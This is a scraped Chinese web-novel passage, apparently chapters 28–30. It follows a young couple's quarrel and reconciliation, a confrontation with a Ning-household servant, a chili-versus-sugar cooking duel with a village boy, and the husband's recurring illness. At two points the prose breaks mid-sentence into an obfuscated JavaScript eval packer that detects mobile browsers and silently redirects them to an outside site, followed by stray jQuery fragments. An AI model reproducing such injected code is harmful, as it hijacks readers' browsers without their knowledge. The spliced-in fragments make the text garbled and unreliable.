苏静蘅到对面村里的鸡打鸣时方才入睡,睡前听见隔壁屋里起身的动静,没一会儿又歇下,后来没什么声,她安心入眠,清早起得迟,宁知序热了饭等她一起吃,靠着同一张桌子两个人从头至尾一言不发,白日各有各的活计和打算,依旧是没说什么话。
苏静蘅难得觉得自己这样硬气,跟宁知序置气,一晃三天过去两个人说的话不超过十句,便是那极为稀少的几句,也是宁知序叫她吃饭,她回答一声“哦”。
到第四天,终于有些忍不住,然而宁知序不同她说别的,她也不好意思开口,只好继续装生气,装记仇,明明自己不愿意,却还要随着宁知序的情绪走,再看他那没事人的样子,假生气又成了真生气,心说他怎么还不跟自己说话?这人可真是过分,为那么一点小事就气上了,早知道他是这样的人,自己就不该和他在一块儿!
宁知序当然不敢跟她说话,连多看她一眼都不敢,硬生生躲了她三天,白天去山里砍竹子顺便弄些野味,晚上裹着被子缩着脑袋作忏悔。
连梦都不敢做。
可越怕什么越来什么。
他夜夜梦见她。
第四夜睡醒冲去灶屋舀一瓢凉水喝,清醒过后呆望着那一缸清水,竟后知后觉明白了什么,一瞬间好似灵魂出窍,飘飘然走回屋内,之后便是一夜未眠。
三月第一天,两人终于说了除“吃饭”“睡觉”之外的话,但不知是谁先跟谁说的。
好像都不是,是自言自语接着一人的自言自语。
苏静蘅早起洗完衣服回到屋前,看见宁知序呆站在檐下,昂首看着梁上燕子,小声呢喃:“是新燕筑巢。”
她顺着他的视线看去,却看到故年痕迹,便也呢喃:“是旧燕归巢。”
宁知序循声望过来,两人什么都没说,相视一笑,而后她道:“我们把房子修修吧,连燕子都来筑巢了,我们怎么能放任房子继续破下去呢?”
宁知序说好,当日便拿着钱进城找泥瓦匠。
愿意接他们家活的人不多,但总有为了生计不在乎流言蜚语的人,工匠是齐惠帮他们找的,一个做了三十年泥瓦匠的老工带着一个十六岁的学徒,价钱比市面稍贵些,因进出城麻烦,他手艺又好,两个人没多犹豫就敲定下来。
付了定金,提前两日做准备,第三日接人到家干活,房子破的不多,第一日便修得差不多,第二天由那小泥瓦匠收尾,结束时还从苏静蘅手里讨了点赏——一点铜板和瑞芳堂的糕点,宁知序亲自送他回城,回来就搬去西屋住。
进城时顺便问石列商队的事,他说明日商队就走,去时快来时稍慢,但马匹护行,车架送货,普通人一个月的脚程也能缩到二十天,因此四十天前后便能回消息。
苏静蘅安了心,宁知序从堂屋搬去西屋,也安了心,总算能睡个好觉。
房子修好没两日,宁家又来人看他们,来的不是宁三爷,是个三十多岁的年轻管家,带着跟班过来打探他们过得怎么样。
听闻是宁二爷身边的人,与宁知序见面没避着苏静蘅,也没把她当做宁家二少夫人,对宁知序有多刻薄,对她便也没好到哪里去,一一说着他们这些日子做的事,何时入城,何时归家,家中诸事说得不细,城里的事倒是讲得清楚。
说到与石列见面的事,苏静蘅忍不住提起耳朵,然而他并未说其他,只讲了他们请石列吃饭的事,应当是石列主动交代,隐了些细节,蒙混过去。
那人末了不忘讽刺宁知序一句,说他堂堂宁家二公子竟与一个下人混到一起,简直丢了宁家的脸面,话落摇头“啧啧”两声,嫌弃竟在不言之中。
苏静蘅不知道他们是如何知道她和宁知序的动向的,乍一听心中难免紧张,但很快平复过来。
宁知序不说话,好像他在宁府一直是这个样子,她看不惯,自然刻薄回去,学他的语调“啧啧”两声,说:“一个下人竟把自己当主子看待,也不知道宁府是二爷大公子管事还是你管事,改日我倒要去问问,若是你管事,便叫二爷大公子赶紧将那写着‘宁府’二字的牌匾扔了挂上你的姓,让整个洛城百姓都瞧瞧现在洛城是谁主家。若不是,你就好好给我低着头说话,一条狗脖子再长,脑袋扬得再高那也是狗,没那个上高位的胆子却成日痴心妄想想压主子一筹,与其白日做梦倒不如一头撞死在宁家门口,下辈子记得往宁家女人肚子里投,做人总比做狗好。”
说完,狠狠瞪宁知序一眼。
她才不受那个气,要不现在就让宁二爷宁大公子亲自来见她,算辈分她勉强能对他们弯个腰,否则休想让她对这些人客气。
一个不知道哪里来的人竟然也想压她一头,往日欺负她的都被她教训回去了,他敢来她自然就敢骂,有本事就闹给宁家那些人看,狗逼急了还会跳墙,她人被逼急了什么事都能做得出来。
私下里盯着他们两个人看,捅到面前来还这样理直气壮,呸!不要脸!他最好把自己的话都带回去说给宁府那些人听听,别压在肚子里自己受气,她倒要看看宁家那边会站在谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580866|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边上。
那人说了半天被她几句话堵住了嘴,本以为说出那些话她会害怕,谁知道她遇强则强,反而坦荡起来。
话肯定不能带到宁府,他也不能再逼她,毕竟姓宁的是宁知序不是他。
二爷同大公子暗有争斗。
一边爱屋及乌,因老爷的事对这个弟弟有些照顾,留他在宁府活着。
一边恨屋及乌,为大公子与自己争夺家业便对他私下照顾的弟弟没什么好脸色。
这段关系里唯一的变数是三爷。
往日的老好人发了疯,二爷对三爷的关系却似大公子对二公子那般,小事都顺着他的意。
宁二公子如何活,这是小事,听三爷的就好,宁二公子是生还是死,这是大事,既是大事,就不能绕过大公子做事。
从小事上贬大公子一头,二爷乐意做这事。
他奉命过来打个下马威,平日盯着这两个人收集收集他们平日的事说给二爷听,二爷再说给大公子听,话里话外讽他几句,过过瘾就罢,真想要分个高低,现在动宁二公子绝对不是明智之举。
谁知道动了他大公子会不会有动作,外人瞧他们是家和万事兴,只有里边的人知道两人有多不对付。
一番思量过后,他决定服这个软,回去添油加醋跟二爷说说,看他的反应再做下一步的决定。
苏静蘅仰着脸等着他下一步的反应,终归是没等到,对面冷哼一声就被她气走了。
“这就走了?真没劲,我有话没骂完呢。”
望着远去的人影,苏静蘅拍拍手,回头告诉宁知序,“下次别人骂你你要是再不吱声我就不帮你了,你看你这样子,平日里说那么多话欺负我,你也只会欺负我,对别人横不起来,你真可恶,今日你要感谢我,还应该同我说对不起,你的麻烦要我帮你解决,是不是该做些好吃的犒劳我?”
与别人吵架他不行,道歉倒是快,宁知序立刻好声好气谢她,又跟她说声“抱歉”,再望着人离去的方向,说:“不曾与他们争论过,宁府的人……我不能同他们说太多。”
“为什么不能?”
宁知序不语。
苏静蘅说:“喏,我教你,下次要是再有人说你,你就骂回去,说他是宁家的狗,屎吃多了心眼都被糊住,一张嘴肚子里的臭东西就往外喷,狗不嫌人嫌,叫他拾掇拾掇把喷出来的脏东西都吃干净了赶紧滚远些,要是再来找你,就用拳头教他做人,你不是说你会功夫吗?就算是假的,力气也应该有吧?一拳头打到他脸上,他要打你就打回去——他们肯定不敢打你,只敢说话讽刺你,这样的纸老虎怕什么?教训他就完事了!”
宁知序听得直发愣,顾不得宁府那些人,问:“你这嘴巴怎么这么厉害?那些话……你竟然能面不改色地说出来,果然是……果然是与众不同。”
“什么叫与众不同?就是你不行!”
“话不能这么说!”
不能因为这点事就说他不行。
他行的地方多了去了,若有人欺负她,他肯定会出头,可为自己浪费口水就是不值,也没必要,被骂几句有什么事,为这些事骂回去才是浪费功夫。
任何好话坏话他听着就是。
宁知序不知道苏静蘅也是这样想的,急急争辩几句,她不理,只能作罢。
往后几天终于没人来扰他们,日子仍旧那样过,村里的人虽然没机会正式与宁知序见过面,私下里却都趁着路过山脚下那屋子的时候仔细将他打量过。
先是周素娘见过他。
那日清早她与李泊去地里,天才刚蒙蒙亮,宁知序便已起身劈着新搬来的竹子,预备在屋前围个简陋的小院,苏静蘅还没起,屋顶上余存的烟气仍在飘荡,夫妻两个见了都忍不住啧啧叹声摇头,说这孩子确实和城里那些公子不一样,回到村里再跟旁人一说,个个便都不甘心只在村里偷看,找机会背着箩筐挎着篮子带几把刀装作是要去地里的样子,实际跑到他家附近打探。
男的女的分两伙,老的少的再分两伙,短短几日宁知序至少见了四波人假装从他家门口路过然后偷摸着看他的人,心里无奈,却不恼,任他们看。
二月的倒数第三天第一次见到来打探的人,那时房子刚修好,苏静蘅又将他的喜服裁了接着才买的布料做了一身新衣裳,半面鲜艳的红半面暗藏锋利的黑,穿在身上衬得他英气十足。
这一身他甚是喜欢。
更叫他觉得好笑的是苏静蘅没把剩下来那半身喜服拆成碎布,而是接着他喜欢的那身衣裳又拼了身仿文武袖样式的半新衣。
原以为她说的“替他改改”只是小改,没想到她直接把衣服拆了重做。
不过看了成衣比原来那身还好看,他欣然接受。
于是沈四娘同黎三嫂子带人去看时,便瞧见宁知序刚穿了新衣坐在门口安安静静地编篱笆。
十七八岁的少年刚脱稚气,眉目棱角染上三分凌厉,头上绑着的红发带风一吹随风飘摇,看起来很是洒脱。
几人看了相互笑笑,随后心满意足地离去,回去跟家里人说一遍,第二日又来了几个不认识的男人,他们仔细打量着宁知序,心说这城里来的公子果然俊俏,长得秀拔出群,和他们这些粗人不一样。
宁知序不知道他们在想什么,看着他们,颇为有礼地微微颔首,就算是打过招呼。
两波人来了又去,第三天来了几个老人,胆子大些,几乎正大光明的看他,还走近跟他说了几句话,问些城里的事,聊够了就离开,没多留,宁知序因此没把他们放在心上。
直到第四次来人,是个十来岁的小孩,手里拿着锅铲,一见到他就气势十足地说:“听新娘子说你是个大厨,我小豆子要和你比一比厨艺,你若是输了,从今以后不许标榜自己是个厨子,只准说自己是城里没用的公子,听见没有?”
宁知序听言扬扬眉梢,心说他什么时候说过自己是个厨子了?
不过看这小孩没什么其他的意思,恐怕和之前的人一样,是从别人口里听到了一些关于他的怪异传闻,所以过来看热闹。
他不想以大人的身份压他,于是看了看天上太阳,又望望远处的桃花村,轻飘飘道:“听见了吗?”
豆子疑惑:“听见什么?”
宁知序轻笑一声,继续编着篱笆:“你娘叫你回家吃饭。”
29. 山水间(三)
对面炊烟袅袅,正是用早午饭的时候,豆子是吃过了饭来的,一听他的话就知道是在逗他,跳起来就说:“呸,我吃过了!你见过刚吃过饭又吃的人吗?”
“见过啊。”宁知序轻哼,“我娘子就可以。”
豆子:“你!”
他这是在挑衅他。
宁知序见他吃瘪,得意地朝他招手,豆子问:“做什么?”
他说:“你的铲子是从家里偷的吧?小心被你娘发现,回去挨揍。”
“……”
还真又给他猜中了。
锅铲是从家里偷的,旧的铲子上缺了个口,他拿不出手,特地拿了个新的来,娘还不知道,这是她前几天刚去市上买的,花了好些钱。
新锅铲买回家并没有立刻派上用场,娘非说旧的还能再用用,过十天半个月再换。
他了解娘的性子,十天半个月之后那铲子的豁口要是没变大,她肯定还会说:“这不是还能用吗?能省就省一点,新买的放那儿备着,等旧的用不了再用。”
又不是用一次就不能用的东西,为什么非要省着?
既然在家没有用武之地,那他就把新锅铲拿出来见见世面。
将士上战场要穿铠甲配武器,小豆子出门就该拿一把好锅铲。
约架要有约架的气势,他自带家伙,不能还没比试就输给宁知序。
宁知序见他人小气势大,问他:“你打哪听说我是个厨子的?”
“渺渺姐姐那儿,你娘子也在,她点头了。又是厨子又是公子,我小豆子长这么大就没见过这样的人,厨子多厉害多不容易,咱们村手艺好的都受大家夸赞,年年要为桃花宴费神费力,你一个城里的公子什么都不会做,却要以此博个好名声,还想忽悠三井婆婆进我们桃花村,拿我们桃花村的好处,我不会让你的诡计得逞!”
宁知序听他说东说西,提什么桃花宴,道:“既然你们有村里手艺好的厨子,为什么非要和我比?莫不是比不过他们,所以——”
“哼,自是比过了,比赢了,他们愿赌服输,我放他们一马,等他们修炼修炼再来讨教。”
宁知序呵笑一声。
小孩就是小孩,不知天高地厚,连撒谎都撒得那么明显。
——所以他从前从府里溜出去逛吃逛喝回去为了应付夫子编的借口是不是也这么拙劣?
怪不得不管他说什么夫子都不相信,每次都告到爹那去。
宁知序就当听小孩子胡说八道过家家,依旧垂头镇定自若地刮着竹子,没把他的话放在心上。
他越淡定,豆子越觉得自己受到了挑衅,问他:“比不比?”
“不比。”
和小孩比试,说出去要被别人笑话。
“你就是没胆子!”
“嗯,没错,我就是没胆子。”
“你配不上新娘子!”
“嗯——”
宁知序把他的话听进耳朵里,三心二意地点头,说,“配不上那也娶了。”
“配不上你就该跟她和离,叫她配个更好的人!”
宁知序这时抬头,终于后知后觉听明白他话里的意思,抖抖眉梢问:“更好的人在哪?”
豆子不说话,挺直脊背掸掸衣领,意思就是说:这儿有一个,可比你好多了!
“……”
说了半天,原来这才是重点。
毛还没长齐的家伙就想着娶媳妇的事了,想娶的还是他媳妇……
宁知序被气笑,问:“你喜欢我娘子?”
“喜欢。怎么了?打我见她第一眼就喜欢她了!她是被迫和你成亲的,这样的婚事就不应该成。”
宁知序望着他,豆子就把自己听来的事坦坦荡荡说给他听: “我娘说成亲先是两个人的事再是两家子的事,就是渺渺姐姐和和薪哥也是打小就认识,从小两家串门,虽然定了亲却是等他们两个人都同意才办婚事,你和新娘子家是这样的吗?哼,肯定不是,我从别人嘴里听说了,你俩成亲前连面都没见过,新娘子是被迫嫁给你的,她不喜欢,你也不应该缠着她。”
宁知序眸光沉了沉:“她不喜欢……这是她跟你说的?”
“不是,不过她不说我也能猜到。”
豆子下巴扬上天。
“胡乱猜别人的心事不是件好事。”
宁知序眼睫颤颤,放缓了声音说,“况且你怎知我们从前就没见过,又怎知她愿意随你一个毛头小子做桃花村的人?”
她要往别处去,既不是桃花村,也不是洛城,天大地大,歇脚的地方多得是,既然看不上他,那这个毛头小子也休想入她的眼。
宁知序面上无事,心底却越发生气,手里的活干不下去,想了想,提起他往灶屋去。
豆子两眼发亮,说:“要比啦?那就比谁做得好吃,你输了就赶紧从这里搬走,然后把你媳妇留下!”
宁知序神情看不出有什么变化,定了许久,才说:“你输了呢?”
“我输了就认你做老大。”
“只是认我做老大?”
“那你还想要什么?”
“你输了就认我当爹,再叫我媳妇一声娘,以后见了我们要磕头跪拜,不允许有非分之想。”
“……”
豆子眼睛转转,“成。好不好咱们自己说了算,不用找其他人,让对手心服口服那才是真的赢。”
宁知序眯眯眼,话说到这儿自然认为他就是来捣乱的,定这个规矩肯定是在憋坏主意,于是没提异议,只在心里说:“看我不毒死你。”
豆子铁了心要找宁知序的麻烦,宁知序也铁了心想给他一个教训,苏静蘅听见声音从屋子里出来就看见宁知序带着豆子往灶屋里钻,两个人一人守一口锅,非要比个高下。
见她来了,豆子打招呼说:“新娘子你来啦!我正要跟你相公比试,你在这等着,他答应我若是输了就从你身边滚蛋,以后有豆子我和桃花村的人保护你,你就再也不用跟着他这个公子哥受苦了!”
“……”
苏静蘅扯扯嘴角,把宁知序拉出屋外,不等她问,宁知序就说:“你别管,这事和你没关系,这小子不知天高地厚,非要找我的麻烦,看我今天不教训教训他。”
苏静蘅语噎,虽然不知道发生了什么但还是说:“你同一个孩子闹什么,有什么话不能好好说?”
“好好说?”
宁知序往屋里斜一眼,看见那小子不把自己当外人一样在屋子里搜罗着食材,驾轻就熟地处理,点火热锅,倒是有几分厨子的样子,便对她说,“小孩?哼,我长他几岁啊?你又长他几岁啊?他还好意思说——”
“说什么?”
“说他喜欢你,把我赶走想娶你做媳妇。”
苏静蘅愣住,话在喉咙里哽了半天,道:“小孩子说的话你也能当真?”
“为什么不能当真?”宁知序固执说,“我偏要当真,不随他的愿日后没准还要缠着你,今日就随他的愿,我有千百种教训他的办法。”
苏静蘅说:“小孩子会耍赖皮得多!”
“我也会耍,不比他差。”
“……”
这是会不会耍赖皮的事吗?
苏静蘅觉得头疼极了,劝道:“他年纪小,要是伤了哪儿,回头爹娘找我们算账我们可没理说。”
宁知序正要开口,豆子忽然出现,问:“你们说什么呢?快,我锅都热好了。”
“来了。”
宁知序应他的话,冲苏静蘅挑挑眉,意思说:看见没?是他非要找麻烦,我没法子才应下的。
至于说什么会不会受伤的事,这小子看着就皮,平时估计就没少闯祸,眼下有人盯着他,没那么容易出事,顶多锅里油溅一溅,他要是真受不了这点小伤小痛,就不会叫嚣着要做一个厨子,早在家哭去了。
苏静蘅站在门口,看他们忙前忙后,怎么劝都没用。
直到食材入了锅,才惊觉接下来的动作和她想的有点不太一样。
两个人没说要做什么,捡几根菜叶子扔进锅里,随后一个疯狂往锅里加糖,一个疯狂往锅里加辣椒,灶屋里瞬间烟雾缭绕。
苏静蘅被呛出去,没多久就听见豆子说:“哇!你是要杀人吗?加那么多辣椒,哪有这么做菜的!渺渺姐姐说的果然是假的,你就是个假厨子。”
宁知序说:“那有你这么做菜的吗?加那么多糖,不是你家的糖你不心疼是不是?少用些,回头做出来不知道会有多难吃。”
“少用些怎么可能好吃?”
宁知序正要大展身手,听见他这话停下动作,问:“你认真的?”
“你没认真?”
他愣了愣,看着自己锅里的辣椒,小声:“还真是没认真。”
他以为他是来找麻烦的,只为了端一锅屎一样的菜给他吃,报复他,没想到是真觉得自己这样做会好吃。
——那一锅糖煮得都发黑了,能好吃吗?
宁知序看了看自己的锅,虽然眼泪都被呛出来了,仍旧坚持着往里面加他的辣椒。
这些辣椒可不便宜,寻常人家买不着,是他托石列从府里厨子那里买的,他今日真是下了血本,这么好的东西给他吃算便宜他了。
苏静蘅在门口喊:“你们不要再做了!不要再做了!”
从来没有见过这么凶残的比试,他们两个是在互相残杀吗?
风一吹路过的狗都被辣得睁不开眼睛,梁下的燕子扔了搭一半的巢跑了,豆子出来喘气,对苏静蘅说:“你家男人疯了。”
“你还说!”
苏静蘅道,“别到他这里找不痛快,这人倔起来比跟个牛似的,快跟他认个错服个软,我们就当这事没发生过。”
“不行。”
豆子喘口气就回去,说,“男人有男人的骨气。”
狗屁骨气。
苏静蘅小声说。
她最不喜欢旁人拿什么男人女人的事来说道理,什么大道理小道理这样说出来都成了没道理的事。
这一点宁知序最好,倔是倔了点,说话却很少那样自以为是。
豆子蒙住口鼻回去,忙了半天端出一道裹满糊糖浆的菜,苏静蘅皱眉跑开,宁知序道:“你看看,她被你做的菜吓走了。”
“样子是丑了点,但味道肯定不错,你吃了才知道好不好吃。”
到这里宁知序确认这小孩没在开玩笑,他是真心实意要和自己比试,然而做了半天结果只端了一盆糊糖浆上桌。
若自己认真做,没准真让他服气,可是现在——
宁知序看着自己那锅红辣椒陷入沉思。
“你真要这么比?”
他问。
“自然。”
豆子觉得自己的肯定比他那份好吃,也必会让他心服口服,而他那份,哼,是入不了口的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593689|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西。
“那就比吧。”
宁知序面不改色装了满满一盘辣椒给他,说,“吃。”
规矩是他定的,他自要遵守,这一盘辣椒够把他辣得回家找娘哭。
输和赢不重要,只是要趁机教训他。
他娘子就是他娘子,就算是假夫妻,眼下也是他娘子,谁来也抢不走。
豆子吞吞口水,再看看自己那份,他是真觉得自己的厨艺好,做的糖霜青菜能和酒楼里的媲美,但非要吃宁知序那份,红灿灿的,不会吃死人吧?
“吃啊。”
宁知序看似提醒实则逼迫,“不吃就认输。”
“认输?呸!吃就吃!”
豆子搛一筷子辣椒放进嘴里,嚼一嚼,竟是脆的,清脆的碎裂声灌入耳中,初入口辛香满齿,辣味火星般燎过喉尖,窜进胃里。
他品着嘴里的味道怔神片刻,随后被辣得吱哇乱叫,跳起来找水喝,一口辣椒灌了一瓢水才勉强止住那冲天的痛楚,歇了一会便只是发呆。
他不开口,只嘴唇觉得越来越麻,后来又灌了口凉水才觉得好些。
宁知序不知道他在想什么,那筷子搅搅他的菜,毫不留情地问:“这是屎吗?”
然后装模作样浅吃一口,小声:“嗯,倒不至于比屎难吃。”
豆子瞪他一眼,说:“这么说来你吃过屎了?哼!”
说完不等宁知序有什么反应,竟丢下菜就跑了。
宁知序追到门口,看见他揉着眼睛冲进村子里,啧啧两声:“倒是会耍赖皮。”
本以为还要有一场恶战,谁知道他走得这样干脆。
一定是觉得他连炒辣椒都炒得那样好吃,自己比不过,于是临阵脱逃了。
只可惜了家里那罐子糖,被他霍霍了一半,还有辣椒也是,宁府新采买的花红天椒,市面上买不着,得单独找后门托石列买,他一时上头也霍霍了一大半。
过会儿就等着挨骂吧,说好了这些辣椒留给苏静蘅做辣子鸡吃的,她喜欢吃辣,一下子攒了好几天的量,这下只剩两顿了。
宁知序盯着那盘辣椒看了片刻,忍不住举起筷子夹一块入嘴。
果然辣!
喝完水都止不住。
那孩子也是能忍!
灌了好几口水才减轻舌尖的痛楚,宁知序连忙捧着盘子去找苏静蘅,在门外就喊:“快尝尝!我觉得我这盘炒辣椒做得不错,你不是喜欢吃辣吗?辣子鸡暂时做不成,先尝尝这个解解馋!”
苏静蘅从灶屋跑开之后就不想理他们两个人,这个时候躲在屋子里捧着绣绷做绣花,听见声音问他:“豆子走了?”
“嗯,走了,恭喜你,你现在多个儿子了。”
苏静蘅:“?”
宁知序说:“愿赌服输,他输了以后管我们叫爹娘,咱们家最近是双喜临门啊,前段日子刚认了干娘,这下又有个干儿子,如今也算人丁兴旺,未来努努力,多认几个儿子女儿,不愁未来不能儿孙满堂。”
苏静蘅:“……”
他一定是疯了,跟一个小孩置气不说,欺负完了还扬扬得意,指不准过两日就要被豆子爹娘找。
干爹哪有亲爹有理,回头可别被教训成孙子,那辈分没升不说,还要再跌一轮。
宁知序道:“瞧我做什么?快尝尝我做的菜,原本是冲着辣死他去的,谁知道做出来味道还行,我不怎么吃辣,你要喜欢,这盘都是你的,我这就去煮饭,再烧份汤炒个小菜,今日就先这么吃吧。”
苏静蘅默然拿起筷子尝了一口,眼睛一亮,确实过瘾。
宁知序看她一点反应,瞪直了眼,说:“行啊,知道你爱吃辣但没想到这么能吃辣,一口气都不喘,厉害!”
苏静蘅“嗯哼”一声,又尝了几口,抬头却看见宁知序脸上泛起片片红色疹子,他没有发觉,看见她这副模样,问:“怎么了?你怎么又盯着我看?难不成是觉得我长得好看——”
说着又似那夜一般娇羞起来。
按理说苏静蘅这个时候该呛他一句,再赏他一对白眼,可等了半天没等到,只看见她慢慢站起来,伸手抚摸着他脸颊,问:“这是什么?你的脸——”
“脸?”
宁知序偏偏身子,朝桌子上的铜镜看去,只一眼,立刻将盘子塞到苏静蘅手里,背过身掀起袖口,手臂上果然跟着出现许多与脸上一样的红疹。
呼吸一紧,惊惧之色瞬间取代脸上的得意。
苏静蘅绕到他面前,宁知序眼疾手快将袖子盖好,又侧过头不让她看自己的脸,结巴道:“好像、好像是旧疾复发,我吃点药压一压就行,不用担心,你也不要看。”
“旧疾?什么旧疾?只吃药就行了吗?是你药箱里的药?哪一个,我帮你拿。”
“不用不用,我自己拿就行。”
苏静蘅还是问他:“只吃药就行了吗?会不会有什么大事?”
“不会。”
宁知序斩钉截铁道,“我自小就这样,吃药就行,要不了命。”
说话时正脸始终避着她。
苏静蘅觉得他在骗他,又道:“让我看看你的手。”
宁知序将两手揣在袖口,拗不过她,干脆从屋里跑出去,苏静蘅见状没有追上去,只是那样看着。
她心里打着鼓,看起来似乎比宁知序还要恐惧。
这模样,她知道她今夜又要做噩梦了。
30. 旧疾(一)
宁知序吃了药,脸上的疹子并没有退下去,不过也没有更加严重的势态。
他还是对她笑,说:“待会儿看看这些疹子会不会消下去,若不行,只能进城找从小为我看病的老神医了,叫他开些方子,吃几天就好。”
“哪位老神医?”
“泉庆馆姓方的那位,听说过吗?”
苏静蘅回想城里有名的几个医馆药铺,知道城西有家泉庆馆,至于有没有一位姓方的老神医,她不清楚。
似乎有又似乎没有,家住城东,生些小病也只在城东的医馆看,宁府也不靠城西,怎么生病要去找城西医馆的大夫?
“我陪你一起。”
“不用。”
宁知序犹疑着开口,“来回麻烦费力气,你在家等我就好。”
苏静蘅不说话,看着那碟子红艳艳的炒辣椒,又看看桌子上绣了一半的绣花,揉揉眼睛,点头,说:“替我去瑞芳斋向干娘问声好,再带些点心买点肉回来,明日与渺渺约了采野菜,等打了肉,回来做肉圆给你吃。”
宁知序点头应下。
中午便只是随便做了两道菜,依旧笑嘻嘻地吃着聊着,吃完等半个时辰疹子不见消,背着背篓就往城里去,临走时拿了块布巾将脸蒙住,害怕别人见了他被吓跑。
苏静蘅下午在菜地待了小半日,接过宁知序没干完的活干,累了就回家坐在堂屋里做绣花。
心里仍惴惴不安,天将黑时还不见宁知序回来,在家里琢磨片刻,锁上屋门就打算去门口那条道上迎他。
顺着小道一直走,月初升,山间田地里一片亮堂,不打灯笼也没事,初春早晚虫子多,她最怕虫子,时不时低头警惕地看着脚边,又反复抬头往路的尽头望。
大约一刻左右,道上出现另一个人影,背着东西走得飞快,看见她,小跑起来,她就知道是他,忙不迭挥手呼唤。
两个人都往对方跑去,几息的工夫走到一块,苏静蘅立刻踮起脚尖看他的脸。
“怎么样?大夫怎么说?”
宁知序龇着牙花笑,将脸伸到她面前,左右转转,让她看得清楚,说:“开了方子还抹了药,等半个时辰左右就消了,你叫我买的东西我买了,还买了些其他的东西,喏——”
说着放下背篓,先拿出来的不是药,而是一个裹着两三层布的陶罐,拔开盖子一股甜香萦绕鼻尖。
“这是什么?”
“甜汤。”
宁知序悄悄跟她说,“路上看见城西新开了家点心铺子,里面就属这甜汤卖得最好,听说他们每日卖完了就歇店,前两天中午就卖完了,今天加了货,到晚间才结束,最后一份恰好被我赶上了,你尝尝好喝不好喝,好喝咱们下次再去买。”
“新点心铺子?生意很好……”
苏静蘅嗅嗅甜汤的气味,丝丝缕缕沁人心脾,嗯,红枣、莲子、百合、桔梗还有木瓜……混了糖液,她捧着陶罐拿着宁知序给她的木勺小尝一口,入口清香甘甜,品味一阵之后又尝出淡淡茶味,连忙问:“你吃过没,你也尝尝,很甜很甜,好吃。”
只有一个勺子,宁知序当然不方便吃,盯着她结结巴巴蹦几个字,然后说:“回去再尝,你先吃。”
苏静蘅笑笑,直接将罐子捧到他嘴边,说:“那你就这么喝吧,先尝一口,这都要冷啦,回去热一热,咱们一人一碗正好够。”
“……”
宁知序不好拒绝,小啜一口,尝了个味,满意点头,说:“味道当真不错,不过新铺子开业抢了瑞芳斋不少生意,所以今天去瑞芳斋看见齐掌柜的脸色不大好——”
“那你还去买人家的甜汤!”
苏静蘅惊讶一瞬轻拧宁知序的胳膊,宁知序故作夸张叫道:“啊呀啊,这不是去看看那甜汤到底好喝在哪里吗!你看看,你明明也觉得好吃!不许说我了,这事和我们没有关系,而且齐掌柜是有本事的人,不会因为一家新店生意暂时红火就泄气,等等看吧,没准过段日子她能做出比这个还好吃的甜汤来,到时候你每次进城都有喝不完的甜汤。”
城里点心铺子不止瑞芳斋一家,名声最响的却只有瑞芳斋一个,新店开业前几日生意总是最红火的,但能不能做长久是另一回事。
宁知序仔细瞧了,这家铺子就属这一样甜汤味道不错,其他点心都一般,靠一碗甜汤支撑一个铺子显然不大可能,一月之内做不出更好的甜汤,城里人的兴趣没了,到时候瑞芳斋依旧是老大,还用得着他们操这个心?
他嘿嘿笑着,白天的惶恐惊惧此刻荡然无存。
买了吃的讨到苏静蘅欢喜,她又没多问其他的事,这再好不过。
什么病痛烦恼,今日突发,去城里讨了药,接下来一个月都不用再为此事担心。
说来也奇怪,算着日子往年一个月不到便要复发一次的病这次竟然隔了将近两个月才出现,十天前他还在担心会不会发得突然,若是晚上来那才是麻烦,进不了城,时间久了恐怕难捱,幸亏是中午来的,给了他去拿药的时间。
去的时候想了一路,他觉得一定是因为自己昏了头,把辣椒当盐洒,后来不信邪又尝了一块炒辣椒,本就不能吃这些烈的东西,今日呛了半天,身子受不了,才变成这样,不然或许还能再安稳几日。
至于为何这次发得这样迟,他没心思细究,要是以后日子都隔得这样久那最好。
药似乎要没了,能多撑些几天算几天,在洛城顺便问了泉庆馆的大夫,方神医离开之后和泉庆馆没有再联系过,听大哥说他死在南疆,三年前最后一封信寄来,给了大哥压病的药方,但方子被他烧了,只剩下最后两瓶药。
大哥说他记不得药方上的内容,还说方神医无能,拿了爹的钱去游山玩水,最后只寄来一份无用的方子。
即便是从旧方子上改进过,依旧没办法治他这从娘胎里就带出来的病。
旧方子方神医不曾拿出手,只是按时给他药,走之前一下子留许多,中间又寄过两次,答应按期归来,最后却染了病,无奈,临死前托人将新方子送到宁府,然而此时宁府已是二叔与大哥当家,药方送不到他手上,反而让他备受桎梏。
宁知序压着脑袋思考这些事,心里异常镇静。
新旧方子都不能根治他的病,听大哥的意思,唯一的区别只是见效快慢,是否伤身,新方子自然好些,然而改变不了结局。
他就是想看他的热闹,看他想走走不掉,隔一段日子就要回去求他的样子,可他偏偏没办法,以前又不是没跑过,走再远捱不过病痛依旧要回去求他。
方神医耗费十几年走遍大昭国土都无法解决的病症,他一个人又怎么能破解。
所以宁府的人不理解,连二爷都不理解,说把他扔出来就把他扔出来,没有一点犹豫,只有大哥不担心,因为他无论如何都不会离开洛城。
一想到在宁府的事宁知序又开始渐渐出神。
苏静蘅同他并肩走着,抱着甜汤灌,忽然说:“既然做了朋友,你若有什么需要可一定要跟我说,我同你在一起,愿意为你分忧。”
宁知序回神,借着月色看她,半晌,应道:“一定。”
